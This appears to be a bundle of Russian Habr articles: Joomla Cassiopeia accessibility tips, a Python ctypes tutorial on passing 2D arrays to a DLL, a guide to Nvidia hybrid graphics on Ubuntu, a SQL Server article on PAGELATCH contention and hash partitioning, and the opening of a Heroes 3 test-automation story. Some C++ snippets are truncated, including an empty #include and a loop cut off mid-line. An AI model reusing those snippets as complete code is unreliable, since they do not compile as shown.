Это функция Joomla 4, а не шаблона Cassiopeia как такового. Но поскольку Cassiopeia изначально задуман доступным [***доступность сайта для слабовидящих, соответствущая международным стандартам (WCAG 2.1) и их российским аналогам (ГОСТ Р 52872-2019)*** *- Т.С.*], стоит напомнить об этих двух функциях:
* включение и настройка **плагина доступности** (добавляет иконку в левом нижнем углу сайта)
+ Идём в Система - Управление - Плагины
+ Ищем плагин "Система - Панель функций доступности"
+ Выберите где Вы хотите показывать панель доступности (только панель управления, только сайт, везде)
+ Включите плагин и сохраните.
* включение и настройка **плагина навигационного меню** (нажмите Tab при открытии страницы или нажмите **Alt+9** в любое время, чтобы динамически генерировать ссылки на все пункты меню, а также на все заголовки и модули)
+ Идём в Система - Управление - Плагины
+ Ищем плагин "Система - Навигационное меню"
+ Выберите где Вы хотите показывать навигационное меню (только панель управления, только сайт, везде)
+ Включите плагин и сохраните.
### Источники
Цель этого текста собрать вместе все известные на момент написания статьи советы, трюки и рекомендации. На случай, если Вы пропустили эти публикации, я собрал их вместе:
* **Customize your Cassiopeia Template** от Элизы Фолтен ([Elisa Foltyn aka coolcat](https://github.com/coolcat-creations)) выступление на встрече Joomla User Group в Нью Джерси – ноябрь 2021
+ <https://coolcat-creations.com/en/blog/customize-your-cassiopeia-template>
+ <https://www.youtube.com/watch?v=cLOarOP5NI0>
* **Child Templates in J!4.1** (Дочерние темы в Joomla 4.1) от Димитриса Грамматикогианниса (aka [dgrammatiko](https://github.com/dgrammatiko)) на встрече Joomla User Group London - декабрь 2021
+ <https://dgrammatiko.online/talks/>
+ <https://www.youtube.com/watch?v=8lX44gS9QG8>
* **Joomla 4.1 insights** от Димитриса Грамматикогианниса (aka [dgrammatiko](https://github.com/dgrammatiko)) на встрече Joomla Extensions Developers JUG - 20 января 2022г.
+ <https://www.facebook.com/events/259747792922384>
* **Серия статей об использовании шаблона Cassiopeia** от Астрид Гюнтер (Astrid Günther) в её блоге
+ [Основная информация о шаблоне Cassiopeia](https://blog.astrid-guenther.de/en/allgemeines-zu%20cassiopeia-und-joomla4/)
+ [Почему Cassiopeia?](https://blog.astrid-guenther.de/en/warum-cassiopeia/)
+ [Баннер наверху и навигация под ним](https://blog.astrid-guenther.de/en/cassiopeia-banner/)
+ [Настройки шаблона Cassiopeia](https://blog.astrid-guenther.de/en/cassiopeia-optionen/)
+ [Шаблон Cassiopeia - блок информации об авторе](https://blog.astrid-guenther.de/en/cassiopeia-autorinfo/)
* **Joomla 4: настройка Cassiopeia с баннером сверху и горизонтальной навигацией под ним** от Астрид Гюнтер (Astrid Günther) в журнале Joomla Community Magazine – сентябрь 2021
+ <https://magazine.joomla.org/all-issues/september-2021/joomla-4-tweak-cassiopeia-with-a-top-banner-and-horizontal-navigation>
* **Дополнительная информация о доступных Classes в Blog View** (image-left, image-right, image-bottom, image-alternate, boxed, … ) от Ciaran Walsh
+ <https://issues.joomla.org/tracker/joomla-cms/18319>
* **Как создать доступные сайты с использованием Cassiopeia** *[имеется в виду* ***доступность сайта для слабовидящих, соответствущая международным стандартам (WCAG 2.1) и их российским аналогам (ГОСТ Р 52872-2019)*** *- Т.С.] -* от Кристиана Майер-Штадтерра (Christiane Maier-Stadtherr) на встрече JUG London 21 сентября 2021г.
+ Презентация <https://docs.google.com/presentation/d/11UKdDwfhKtIKIVk0CCKE9IxrwK93uVjx4UVSJHjQHB0/edit?usp=sharing>
* **Joomla 4: шаблон Cassiopeia** от Патрика Джексона (Patrick Jackson) в журнале Joomla Community Magazine – январь 2021г.
+ <https://magazine.joomla.org/all-issues/january-2021/joomla-4-cassiopeia-template>
* **Быстрый старт с Cassiopeia - новый шаблон фронтенда Joomla** от Maarten Blokdijk на Joomla Day USA 2021
+ <https://jdayusa.com/2021/sessions-2021/sessions/kickstart-cassiopeia-the-new-joomla-frontend-template>
* **Cassiopeia – шаблоны в Joomla 4** [немцекий язык] от Виванны Менцель (Viviana Menzel) на JoomlaDay DACH 2021 (Германия) – сентябрь 2021
+ Презентация <https://www.dr-menzel-it.de/images/J4-Template.pdf>
+ Видео <https://www.youtube.com/watch?v=wk19Asepo8c>
+ Демо-сайт <https://cassiopeia.joomla.com/>
* **Шаблон Cassiopeia в Joomla 4** [немецкий язык] от Хагена Графа (Hagen Graf) – октябрь 2021
+ <https://blog.novatrend.ch/2021/10/11/cassiopeia-template-in-joomla-4/>
Полезные ресурсы
----------------
##### Ресурсы сообщества:
<https://joomlaforum.ru/> - форум русской поддержки Joomla.
<https://joomlaportal.ru/> - интернет-портал Joomla-сообщества.
##### Telegram:
<https://t.me/joomlaru> - чат сообщества «Joomla! по-русски»
<https://t.me/projoomla> - Joomla для профессионалов, разработчики Joomla
<https://t.me/joomlafeed> - Новости о Joomla! и веб-разработке по-русски.
<https://t.me/joomla_jobs> - вакансии и предложения работы по Joomla: фуллтайм, частичная занятость и разовые подработки. Размещение вакансий здесь: <https://jpath.ru/jobs/add>
<https://t.me/joomlatalks> - англоязычный чат сообщества. | https://habr.com/ru/post/647399/ | null | ru | null |
# Передача двумерных списков из python в DLL
Всем привет. Решил несколько дополнить статью [C/C++ из Python](https://habr.com/ru/post/466499/).
Передача стандартных типов, таких как int, bool, float и так далее довольно проста, но мало необходима. С такими данными быстро справится и сам python, и вряд ли у кого-то возникнет необходимость вынесения части такого кода в библиотеку C/C++.
А вот передача больших массивов данных, или еще лучше двумерных массивов данных, или даже двумерных массивов объектов.
Тут уже все не так очевидно, и есть ряд вещей, которые думаю можно осветить для тех кто хочет существенно ускорить трудные для интерпретатора python участки кода.
Приведенный под катом пример не очень полезный для применения, но думаю достаточный, чтобы осветить все нюансы данной процедуры.
Сразу приведу исходный код файлов библиотеки.
### **py\_list2c\_array.h**
```
#ifndef _PY_LIST_2_C_ARRAY_H_
#define _PY_LIST_2_C_ARRAY_H_
#include
typedef struct {
int value;
wchar\_t\* name;
} Item;
extern "C" \_\_declspec(dllexport)
int sum\_diagonal(Item\*\* field, size\_t size);
#endif
```
### **py\_list2c\_array.cpp**
Тут также все стандартно, разве что отмечу использование функции **wprintf()** для печати строк типа **wchar\_t\***.
```
// py_list2c_array.cpp: определяет экспортированные функции для приложения DLL.
//
#include "stdafx.h"
#include "py_list2c_array.h"
extern "C" __declspec(dllexport)
int sum_diagonal(Item** field, size_t size) {
int result = 0;
for(size_t i=0; i
```
### **py\_list2c\_array.py**
А теперь самое главное. Приведу исходный код python скрипта с описанием важных моментов.
```
import ctypes
class PyItem:
def __init__(self, value, name):
self.value = value
self.name = name
class CItem(ctypes.Structure):
_fields_ = [
('value', ctypes.c_int),
('name', ctypes.c_wchar_p)
]
def create_list(size):
return [[PyItem(int(str(i+1)+str(j+1)), 'item{}{}'.format(i+1, j+1)) for j in range(size)] for i in range(size)]
def py_list2c_array(py_list, size):
rowType = CItem * size
resultType = ctypes.POINTER(CItem) * size
result = resultType()
for i in range(size):
row = rowType()
for j in range(size):
row[j] = CItem()
row[j].value = py_list[i][j].value
row[j].name = ctypes.c_wchar_p(py_list[i][j].name)
result[i] = ctypes.cast(row, ctypes.POINTER(CItem))
return ctypes.cast(result, ctypes.POINTER(ctypes.POINTER(CItem)))
if __name__ == '__main__':
sLib = ctypes.cdll.LoadLibrary('./py_list2c_array.dll')
size = 4
py_list = create_list(size)
c_array = py_list2c_array(py_list, size)
sLib.sum_diagonal.argtypes = [ctypes.POINTER(ctypes.POINTER(CItem)), ctypes.c_size_t]
sLib.sum_diagonal.restype = ctypes.c_int
result = sLib.sum_diagonal(c_array, ctypes.c_size_t(size))
print('Результат: {}'.format(result))
```
**Детали**
----------
Рассмотрим некоторые особенности создания массивов ctypes. Для этого подробнее разберем функцию преобразования списка в массив py\_list2c\_array. Сначала необходимо указать типы.
Тип каждой строки массива определяется как тип элемента, умноженный на количество элементов.
rowType = CItem \* size
Тип массива определяется как тип строки массива, умноженный на количество строк.
Чуть ниже поясню про ctypes.POINTER().resultType = ctypes.POINTER(CItem) \* size
Далее создаем результирующий массив.result = resultType()
А в цикле создаем каждую строку, как одномерный массив.row = rowType()
Далее во вложенном цикле создаем каждый элемент массива и присваиваем значения структуре из списка объектов python.row[j] = CItem()
row[j].value = py\_list[i][j].value
row[j].name = ctypes.c\_wchar\_p(py\_list[i][j].name)
Затем каждую созданную строку с элементами следует преобразовать к типу указателя на массив объектов и присвоить в ячейку результирующего массива.
Про функцию **ctypes.cast()** напишу чуть ниже.result[i] = ctypes.cast(row, ctypes.POINTER(CItem))
Ну и конечно преобразовать весь массив к указателю.return ctypes.cast(result, ctypes.POINTER(ctypes.POINTER(CItem)))
### **ctypes.POINTER**
В ctypes есть **ctypes.POINTER()** — указывает, что используется указатель. Например:ctypes.POINTER(CItem) указывает, что это указатель на структуру CItem().
Соответственно, строкой :ctypes.POINTER(ctypes.POINTER(CItem)) мы можем указать, что это указатель на указатель на структуру CItem, или в C++ **CItem\*\*** А есть **ctypes.pointer()**. Данная функция возвращает указатель на объект. Например :item = CItem()
pointer = ctypes.pointer(item)
Не следует их путать, так как смысл у них совершенно разный.
### **ctypes.cast()**
А теперь рассмотрим очень важную функцию **ctypes.cast()**Данная функция чем-то схожа со **static\_cast()** из C++.
Она позволяет сделать очень важные приведения.
При создании типа массива, например:rowType = CItem \* 4
row = rowType()
В данном случае row является областью памяти из 4 элементов структур CItem.
Конечно в таком виде мы никак не сможем использовать эти данные. А вот если мы на них используем функцию приведения :array\_pointer = ctypes.cast(row, ctypes.POINTER(CItem))
В данном случае array\_pointer уже является указателем на область памяти с 4 структурами CItem.
Первым параметром задается созданная область памяти с элементами массива, а вторым параметром надо указать к какому типу надо привести данную область.Ну вот вроде осветил основные моменты при передачи с помощью ctypes массивов данных.
Надеюсь данная статья поможет более быстро и полно разобраться с замечательной библиотекой ctypes. | https://habr.com/ru/post/466575/ | null | ru | null |
# Включение гибридной графики в Ubuntu на ноутбуках Nvidia + Intel (OpenGL, Vulkan)
Введение
--------
Это простая инструкция как включить гибридную графику intel-nvidia на ноутбуке. Чтобы определенные приложения запускались на дискретном чипе, а другие на встроенном. На свое удивление в интернете не нашел простую инструкцию того, как запускать определенные приложения, используя дискретную графику. Так что напишу так просто, на сколько считаю нужным
У меня система KDE Neon 5.21 - по большому счету - Ubuntu LTS с окружением рабочего стола KDE Plasma 5.21, видеочип GeForce MX150
1. Устанавливаем драйвер
------------------------
a) Если у вас система на Qt (Как правило окружение KDE или LXQt), то с помощью данной команды через терминал загрузим программу для установки драйверов:
```
sudo apt install software-properties-qt
```
Если у вас система на GTK то с помощью это команды:
```
sudo apt install software-properties-gtk
```
Хотя разницы принципиальной нет
b) Затем запускаем ее с правами root
```
sudo software-properties-qt
```
Можно так же добавить ярлык для запуска в меню приложенийИнструкция для KDE
В папке `~/.local/share/applications/` создадим файл `software properties qt.desktop` с таким содержанием
```
[Desktop Entry]
Categories=System;Settings;
Comment[ru_RU]=drivers
Comment=drivers
Exec=konsole -e "~/.local/share/applications/software-properties-qt.sh"
GenericName[ru_RU]=Установка драйверов\s
GenericName=Установка драйверов\s
Icon=systemsettings
MimeType=
Name[ru_RU]=software properties qt\n
Name=software properties qt\n
Path=
StartupNotify=true
Terminal=false
TerminalOptions=
Type=Application
X-DBUS-ServiceName=
X-DBUS-StartupType=
X-KDE-SubstituteUID=false
X-KDE-Username=
```
И файл `software properties qt.sh` в той же папке:
```
#! /bin/bash
echo software-properties-qt
sudo /usr/bin/software-properties-qt
```
После перезагрузки ярлык появится в меню
Но это далеко не обязательно, вполне достаточно запустить из консоли для наших целей настройки гибридной графики
c) Переходим на последнюю вкладку `Additional drivers` и устанавливаем нужный драйвер. Я выбрал самой последней версии, который не `tested` и не `server`
d) После установки перезагружаем устройство
2. Настраиваем видеокарту
-------------------------
a) Загружаем следующую программу:
```
sudo apt install nvidia-settings
```
И запускаем
b) Переходим в `PRIME Profiles` Здесь мы видим три пункта:
1. `NVIDIA (Performance Mode)` - работать только на дискретной графике. Сильно потребляет батарею в несложных задачах, а так же ноутбук начинает греться. Зато система работает намного быстрее, но это того не стоит. У меня после установки драйвера этот пункт включился автоматически
2. `NVIDIA On-Demand` - некоторые приложения будут использовать дискретную графику nvidia, но по-умолчанию встроенная intel. Как запустить конкретное приложение с дискретной графикой напишу дальше
3. `NVIDIA (Power Saving Mode)` - отключение дискретной графики
Выбираем второй вариант - `NVIDIA On-Demand`, и перезагружаем систему
3. Запуск приложения с использованием дискретной графики
--------------------------------------------------------
Это то, что сложнее всего гуглилось...
Для запуска приложения с использованием графики nvidia нужно задать для OpenGL две переменные среды:
```
__NV_PRIME_RENDER_OFFLOAD=1
__GLX_VENDOR_LIBRARY_NAME=nvidia
```
для Vulkan только:
```
__NV_PRIME_RENDER_OFFLOAD=1
```
Делать это надо перед командой для запуска приложения. Например, нам нужно запустить из терминала приложение program с использованием дискретной графики. Нужно вызвать его так:
```
__NV_PRIME_RENDER_OFFLOAD=1 __GLX_VENDOR_LIBRARY_NAME=nvidia program
```
Соответственно, если у приложения есть ярлык (.desktop) в меню приложений, то надо изменить команду запуска в ярлыке. В KDE Plasma нужно нажать на него ПКМ, открыть свойства (или "изменить приложение..."), перейти во вкладку "приложение" и перед командой приписать данную приставку. В других средах похожего стола примерно так же
Пример: ярлык игры Wolfenstein - Blade of AgonyМожно сделать это же действие через текстовый редактор. Открываем ярлык, находим `Exec=`, и приписываем перед коммандой данную приставку `__NV_PRIME_RENDER_OFFLOAD=1 __GLX_VENDOR_LIBRARY_NAME=nvidia`
Например, Minecraft\_\_NV\_PRIME\_RENDER\_OFFLOAD=1 \_\_GLX\_VENDOR\_LIBRARY\_NAME=nvidia minecraft-launcher
---
Заключение
----------
Данный метод, как я понял, точно работают для программ, использующих библиотеки OpenGL и Vulkan. У меня, к сожалению, не получилось запустить так Windows приложение через Wine, которое использует DirectX, но это уже совсем другая история. (OpenGL приложения под Wine работают)
P.S. в комментариях (<#comment_23011444>) немного подсказали, что для работы с Proton (DirectX) есть [такой док](https://github.com/ValveSoftware/Proton/blob/proton_6.3/docs/PRIME.md) | https://habr.com/ru/post/556232/ | null | ru | null |
# Как справиться с PAGELATCH при высоко-параллельных INSERT-нагрузках
Эта статья была опубликована на **SQL.RU** Другие опубликованные там статьи на тему MS SQL Server можно найти в блоге <https://mssqlforever.blogspot.com/> Telegram-канал блога тут: <https://t.me/mssqlhelp>
По материалам статьи: «[Resolving PAGELATCH Contention on Highly Concurrent INSERT Workloads](http://sqlcat.com/technicalnotes/archive/2009/09/22/resolving-pagelatch-contention-on-highly-concurrent-insert-workloads-part-1.aspx)».
Авторы: Thomas Kejser, Lindsey Allen, Arvind Rao и Michael Thomassy
При участии и с рецензиями: Mike Ruthruff, Lubor Kollar, Prem Mehra, Burzin Patel, Michael Thomassy, Mark Souza, Sanjay Mishra, Peter Scharlock, Stuart Ozer, Kun Cheng и Howard Yin
### Введение
Недавно, мы проводили лабораторные испытания в Microsoft Enterprise Engineering Center, при которых использовалась большая рабочая нагрузка, характерная для OLTP систем. Целью этой лабораторной работы было определить, что случится при увеличении числа процессоров с 64 до 128, при обслуживании Microsoft SQL Server интенсивной рабочей нагрузки (примечание: эта конфигурация была ориентирована на релиз Microsoft SQL Server 2008 R2). Рабочая нагрузка представляла собой хорошо распараллеленные операции вставки, направляемые в несколько больших таблиц.
Рабочая нагрузка масштабировалась до 128 процессорных ядер, но в статистике ожиданий было очень много кратких блокировок PAGELATCH\_UP и PAGELATCH\_EX. Средняя продолжительность ожидания была десятки миллисекунд, и таких ожиданий было очень много. Такое их количество оказалось для нас неожиданностью, ожидалось, что продолжительность не будет превышать несколько миллисекунд.
В этой технической заметке вначале будет описано, как диагностировать подобную проблему и как для разрешения подобной проблемы использовать секционирование таблиц.
### Диагностика проблемы
Когда в sys.dm\_os\_wait\_stats наблюдается большое число PAGELATCH, с помощью sys.dm\_os\_waiting\_tasks можно определить сессию и ресурс, который задача ожидает, например, с помощью этого сценария:
```
SELECT session_id, wait_type, resource_description
FROM sys.dm_os_waiting_tasks
WHERE wait_type LIKE 'PAGELATCH%'
```
*Пример результата:*
В столбце resource\_description указаны местоположения страниц, к которым ожидают доступ сессии, местоположение представлено в таком формате:
> ::
>
>
Опираясь на значения в столбце resource\_description, можно составить довольно сложный сценарий, который предоставит выборку всех попавших в список ожидания страниц:
```
SELECT wt.session_id, wt.wait_type, wt.wait_duration_ms
, s.name AS schema_name
, o.name AS object_name
, i.name AS index_name
FROM sys.dm_os_buffer_descriptors bd
JOIN (
SELECT *
, CHARINDEX(':', resource_description) AS file_index
, CHARINDEX(':', resource_description
, CHARINDEX(':', resource_description)) AS page_index
, resource_description AS rd
FROM sys.dm_os_waiting_tasks wt
WHERE wait_type LIKE 'PAGELATCH%'
) AS wt
ON bd.database_id = SUBSTRING(wt.rd, 0, wt.file_index)
AND bd.file_id = SUBSTRING(wt.rd, wt.file_index, wt.page_index)
AND bd.page_id = SUBSTRING(wt.rd, wt.page_index, LEN(wt.rd))
JOIN sys.allocation_units au ON bd.allocation_unit_id = au.allocation_unit_id
JOIN sys.partitions p ON au.container_id = p.partition_id
JOIN sys.indexes i ON p.index_id = i.index_id AND p.object_id = i.object_id
JOIN sys.objects o ON i.object_id = o.object_id
JOIN sys.schemas s ON o.schema_id = s.schema_id
```
Сценарий показал, что ожидаемые страницы относятся к кластеризованному индексу, определённому первичным ключом таблицы с представленной ниже структурой:
```
CREATE TABLE HeavyInsert (
ID INT PRIMARY KEY CLUSTERED
, col1 VARCHAR(50)
) ON [PRIMARY]
```
Что происходит, почему возникает очередь ожиданий к страницам данных индекса – всё это будет рассмотрено в этой технической заметке.
### Основная информация
Чтобы определить, что происходит с нашей большой OLTP-нагрузкой, важно понимать, как SQL Server выполняет вставку в индекс новой строки. При необходимости вставки в индекс новой строки, SQL Server будет следовать следующему алгоритму внесения изменений:
1. В журнале транзакций создаётся запись о том, что строка изменилась.
2. Осуществляется поиск в В-дереве местонахождения той страницы, куда должна будет попасть новая запись.
3. Осуществляется наложение на эту страницу краткой блокировки PAGELATCH\_EX, которая призвана воспрепятствовать изменениям из других потоков.
4. Осуществляется добавление строки на страницу и, если это необходимо, осуществляется пометка этой страницы как «грязной».
5. Осуществляется снятие краткой блокировки со страницы.
В итоге, страница должна будет быть сброшена на диск процессом контрольной точкой или отложенной записи.
Если же все вставки строк направлены на ту же самую страницу, можно наблюдать рост очереди к этой странице. Даже притом, что краткая блокировка весьма непродолжительна, она может стать причиной конкуренции при высоком параллелизме рабочей нагрузки. У нашего клиента, первый и единственный столбец в индексе являлся монотонно возрастающим ключом. Из-за этого, каждая новая вставка шла на ту же самую страницу в конце В-дерева, пока эта страница не была заполнена. Рабочие нагрузки, которые используют в качестве первичного ключа IDENTITY или другие столбцы с последовательно увеличивающимися значениями, также могут столкнуться с подобной проблемой, если распараллеливание достаточно высоко.
### Решение
Всегда, когда несколько потоков получают синхронный доступ к одному и тому же ресурсу, может проявиться описанная выше проблема. Стандартное решение состоит в том, чтобы создать больше ресурсов конкурентного доступа. В нашем случае, таким конкурентным ресурсом является последняя страница В-дерева.
Одним из способов снизить конкуренцию за одну страницу состоит в том, чтобы выбрать в качестве первого столбца индекса другой, не увеличивающийся монотонно столбец. Однако, для нашего клиента это потребовало бы внесения изменений на прикладном уровне в клиентских системах. Мы должны были найти другое решение, которое могло бы ограничиться только изменениями в базе данных.
Помните, что местом конкуренции является одна страница в В-дерева, и конкуренция была бы меньше, если бы было возможно использовать для этого несколько В-деревьев, и в то же время работать только с одной таблицей. К счастью, такая возможность есть, это: [Секционированные таблицы и индексы](http://msdn.microsoft.com/ru-ru/library/ms188706.aspx). Таблица может быть секционирована таким способом, чтобы новые строки размещались в нескольких секциях.
Сначала нужно создать функцию и схему секционирования:
```
CREATE PARTITION FUNCTION pf_hash (INT) AS RANGE LEFT FOR VALUES (0,1,2)
CREATE PARTITION SCHEME ps_hash AS PARTITION pf_hash ALL TO ([PRIMARY])
```
Представленный выше пример использует четыре секции. Число необходимых секций зависит от числа активных процессов, выполняющих операции INSERT в описанную выше таблицу. Есть некоторая сложность в секционировании таблицы с помощью хэш-столбца, например, в том что всякий раз, когда происходит выборка строк из таблицы, будут затронуты все секции. Это означает, что придётся обращаться более чем к одному В-дереву, т.е. не будет отброшенных оптимизатором за ненадобностью ненужные секций. Будет дополнительная нагрузка на процессоры и некоторое увеличение времени ожиданий процессоров, что побуждает минимизировать число планируемых секций (их должно быть минимальное количество, при котором не наблюдается PAGELATCH). В рассматриваемом нами случае, в системе нашего клиента имелось достаточно много резерва в утилизации процессоров, так что было вполне возможно допустить небольшую потерю времени для инструкций SELECT, и при этом увеличить до необходимых объёмов норму инструкций INSERT.
Ещё одной сложностью является то, что нужен дополнительный столбец, по которому будет выполняться секционирование, т.е. на основании значения которого будут распределяться вставки по четырем секциям. Такого столбца изначально в сценарии Microsoft Enterprise Engineering Center не было. Однако, его достаточно просто было создать. Для этого использовался тот факта, что столбец ID монотонно увеличивается с приращением равным единице, и здесь легко применима довольно простая хеш-функция:
```
CREATE TABLE HeavyInsert_Hash(
ID INT NOT NULL
, col1 VARCHAR(50)
, HashID AS ID % 4 PERSISTED NOT NULL)
```
С помощью столбца HashID, вставки в четыре секции будут выполняться циклически. Создаём кластеризованный индекс следующим образом:
```
CREATE UNIQUE CLUSTERED INDEX CIX_Hash
ON HeavyInsert_Hash (ID, HashID) ON ps_hash(HashID)
```
Используя новую схему таблицы с секционированием вместо первоначального варианта таблицы, мы сумели избавиться от очередей PAGELATCH и повысить скорость вставки. Этого удалось достичь за счёт балансировки вставки между несколькими секциями и высокого параллелизма. Вставка происходит в несколько страниц, и каждая страница размещается в своей собственной структуре В-дерева. Для нашего клиента удалось повысить производительность вставки на 15 процентов, и справится с большой очередью PAGELATCH к горячей странице индекса одной таблицы. Но при этом удалось также оставить достаточно большой резерв циклов процессоров, что оставило возможность сделать аналогичную оптимизацию для другой таблицы, тоже с высокой нормой вставки.
Строго говоря, суть этой уловки в оптимизации логической схемы первичного ключа таблицы. Однако, потому что ключ просто стал длиннее на величину хеш-функции относительно изначального ключа, дубликатов для столбца ID удалось избежать.
Уникальные индексы по единственному столбцу таблицы зачастую становятся причиной проблем с очередями PAGELATCH. Но даже если эту проблему удастся устранить, у таблицы может оказаться другой, некластеризованный индекс, который будет подвержен той же самой проблеме. Как правило, проблема наблюдается для уникальных ключей на единственном столбце, где каждая вставка попадает на одну и ту же страницу. Если и у других таблиц индексы подвержены проблеме с PAGELATCH, можно применить эту же уловку с секционированием к индексам таких таблиц, используя такой же ключ с хэшем в качестве первичного ключа.
Не всегда возможно внести изменения в приложение, особенно, если оно является плодом усилий третьих фирм. Но если изменение запросов возможно, становится доступной их оптимизация за счёт добавления к ним условий фильтрации по предикатам первичного ключа.
Пример: Чтобы отбросить ненужные секции, можно внести следующие изменения в сценарий:
```
SELECT * FROM HeavyInsert_Hash
WHERE ID = 42
```
Который после изменений будет выглядеть так:
```
SELECT * FROM HeavyInsert_Hash
WHERE ID = 42 AND HashID = 42 % 4
```
Исключение оптимизатором ненужных секций по значению хэша не будет вам ничего стоить, если только не считать большой платой за это увеличение на один байт каждой строки кластеризованного индекса.
### Дополнительные материалы
1. [SQL Server Performance Tuning: Resolving Last Page Insert Contention](https://www.sqlshack.com/sql-server-performance-tuning-resolving-last-page-insert-contention/)
2. [Resolve last-page insert PAGELATCH\_EX contention in SQL Server](https://docs.microsoft.com/en-us/troubleshoot/sql/performance/resolve-pagelatch-ex-contention) | https://habr.com/ru/post/654891/ | null | ru | null |
# Гена против Сандро: история автоматизации одной сетевой партии в Героях 3
*Сандро не мог поверить своей удаче. Прошло уже две недели после катастрофы с прыжком в экспериментальный портал, который забрал в небытие всю его немаленькую армию. Лишь один захолустный скелет чудом избежал этой же участи.*
*С тех пор были скитания по густым лесам, игры в прятки с рыцарскими патрулями, бесконечные попытки хотя бы отдалённо понять, в какие края его занесло. Пока что он понял только то, что ему, скорее всего, конец: с одним дохлым скелетом в рыцарских землях надеяться на что-либо было решительно невозможно.*
*Должно быть, судьба решила вознаградить Сандро за все его страдания, потому что теперь он стоял на окраине двух вкусных, многолюдных деревень и не мог поверить своим глазницам. Если бы у него на черепе осталось бы хоть немного мускулов, он бы даже попробовал улыбнуться. Целых две деревни с крестьянами и никакой охраны, ни одного даже завалявшегося копейщика.*
*В деревнях кипела жизнь, жители много кричали и весело проводили время. Сандро терпеть не мог жизнь в любых её проявлениях, но особенно — кипящую. Спешно ретировавшись чтобы не быть замеченным, Сандро приступил к поиску подходящего места для постройки преобразователя скелетов. Похоже, прыжок в портал из катастрофы имеет все шансы перерасти в грандиозный успех…*
Сандро не подозревал, что исход всех его приключений давно предопределён. Вся его история окончится через несколько минут (хоть для него это будет казаться целой неделей) — ведь именно столько занимает прогон автотеста кроссплатформенной игровой партии по сети в Героях 3. Действиями Сандро управляет платформа [Testo](https://testo-lang.ru/ru), которая готова прогонять его историю снова и снова.
Будучи разработчиком этой самой платформы Testo, я решил под Новый Год немного повеселиться и соединить своё профессиональное произведение и любимую игру, в которой затерялись тысячи часов моей жизни. И вот что из этого получилось.
**Disclaimer**
Уважаемые друзья! В этой статье, помимо привычных технических вещей, вы также найдёте историю противостояния некроманта Сандро и никудышного рыцаря Гены в сеттинге нашей любимой и обожаемой игры Герои меча и магии 3. Эта история изобилует большим количеством художественных вымыслов относительно игровых механик этого замечательного произведения игростроения. Пожалуйста, не стоит относиться к этим вымыслам слишком серьёзно: я точно так же, как и вы, люблю и ценю Героев 3, и лишь предлагаю взглянуть на привычные всем вещи с новой, забавной стороны. Любые совпадения случайны, я отказываюсь от любых намёков на какие-либо реальные вещи в реальном мире.
*Где-то совсем неподалеку от кипящей жизни двух деревень, молодой рыцарь Гена громко икнул во сне и неспешно перевернулся на другой бок. Даже в своих самых сладких алкогольных снах он не мог мечтать о чём-либо ещё: его жизнь уже была в высшей степени прекрасна и вряд ли могла бы стать ещё лучше.*
*Всего ещё год назад Гена был самым несчастным рыцарем во всей Эрэфии. После выпуска из рыцарского военного ВУЗа его по распределению отправили служить на передовую. У Гены никогда не было склонности к военному искусству (он с трудом мог отличить обычного грифона от королевского), но всегда был талант сомелье. Он и поступил-то в военный ВУЗ только по указке своих родителей – рыцарей в пятидесятом поколении. Они же помогли замять резонансное дело, когда Гена умудрился пропить всех вверенных ему грифонов в одной из таверн. О военной карьере, понятное дело, речи больше идти не могло, и Гену вместо виселицы отправили от греха подальше дослуживать свой рыцарский контракт в самые дальние далёкие тылы, которые только были в Эрэфии – охранять замок Балашов и его окрестности.*
*Сложно в это поверить, но на новом месте Гена освоился лучше некуда: всего за месяц он познакомился со всеми местными малочисленными гарнизонами (благо его талант сомелье к этому очень располагал, как и десятки бочек вина в погребах замка) и узнал у местных патрулей, что защищать Балашов ему, фактически, не от кого: последнее враждебное существо (волка) в этих краях видели аж 2 года назад.*
*Вся культурная жизнь окрестностей Балашова крутилась вокруг вечного противостояния двух местных деревень: Вилларибо и Виллабаджо, которое длилось вот уже двадцать лет. Их борьба неизменно выступала источником ставок и единственным развлечением для местного населения. Солдатам было запрещено приближаться к этим деревням после того случая, когда один гарнизон решил сжульничать на ставках и притащил из крепости катапульту в Виларибо, чтобы местные крестьяне могли дальше закидывать тухлые тыквы в сторону Виллабаджо.*
*Всё это мало беспокоило Геннадия, ведь пол года назад он обнаружил гостеприимное логово феечек совсем недалеко от крепости. В этом заведении он чувствовал себя по настоящему счастливым: в дали от всяких проблем, в окружении бочек вина и очаровательных феечек, он наконец-то чувствовал, что нашел применение всем своим природным талантам. В последний раз в замке Гена был месяц назад. Забрав из погреба аж шесть бочек с вином и убедившись, что в окрестностях всё также ничего не происходит, он укатил обратно к своей сладкой жизни. Жизни, которую так ненавидел Сандро, старательно собирая по всем округам ресурсы для своего преобразователя скелетов.*
Начальные условия
-----------------
Для запуска Героев я решил использовать проект [VCMI](https://vcmi.eu/). В этом замечательном открытом проекте все ключевые компоненты Героев 3 были с нуля переписаны на С++. Проект является кроссплатформенным, поэтому с его помощью вы можете играть в Героев по сети на Макбуке с другом, который едет в метро и сидит в своём телефоне на Андроиде. Как раз-таки этой кроссплатформенностью я и воспользовался для этой статьи.
Похождения Сандро и Гены происходят вот на такой карте, которую я накидал в редакторе за 15 минут (все ссылки доступны в конце статьи):
Гена находится в синем углу ринга, отдыхая в гостях у феечек, тогда как Сандро в красном углу только что закончил строительство простенькой базы и готов отправиться на сбор крестьян.
Игра происходит по сети в режиме "человек против человека". Сандро выбрал Ubuntu Desktop 20.04 в качестве машины для запуска, а Гена решил не рисковать и придерживаться проверенного варианта с Windows 7. Сандро на правах более опытного пользователя создаёт конференцию и выступает в качестве сервера, а Гене лишь нужно подключиться к Сандро по сети.
За развёртывание, настройку стенда, установку VCMI и прогон всей игровой партии отвечает платформа [Testo](https://testo-lang.ru/ru). Возможно, вы уже видели на Хабре [краткое описание](https://habr.com/ru/company/testo_lang/blog/521682/) этой платформы, или примеры автотестов для [антивируса Dr. Web](https://habr.com/ru/company/testo_lang/blog/523496/) (без малейшего доступа к исходникам). Помимо тестов, Testo можно применять и для автоматического развёртывания интересных виртуальных стендов ([например](https://habr.com/ru/company/testo_lang/blog/525326/), контроллер домена AD вместе с рабочей станцией).
**Краткое описание Testo**
Testo — это новый фреймворк для системных (End-To-End) автотестов, который позволяет автоматизировать взаимодействие с виртуальными машинами с помощью скриптов на специальном, простом для понимания языке. Testo построен на распознавании объектов на экране с помощью нейросетей, поэтому для его работы не требуется устанавливать специальные агенты внутрь виртуальных машин.
В Testo все действия с виртуальными машинами находятся внутри тестов, которые выстраиваются в дерево "от простого к сложному". В нашем случае такое дерево будет выглядеть вот так:
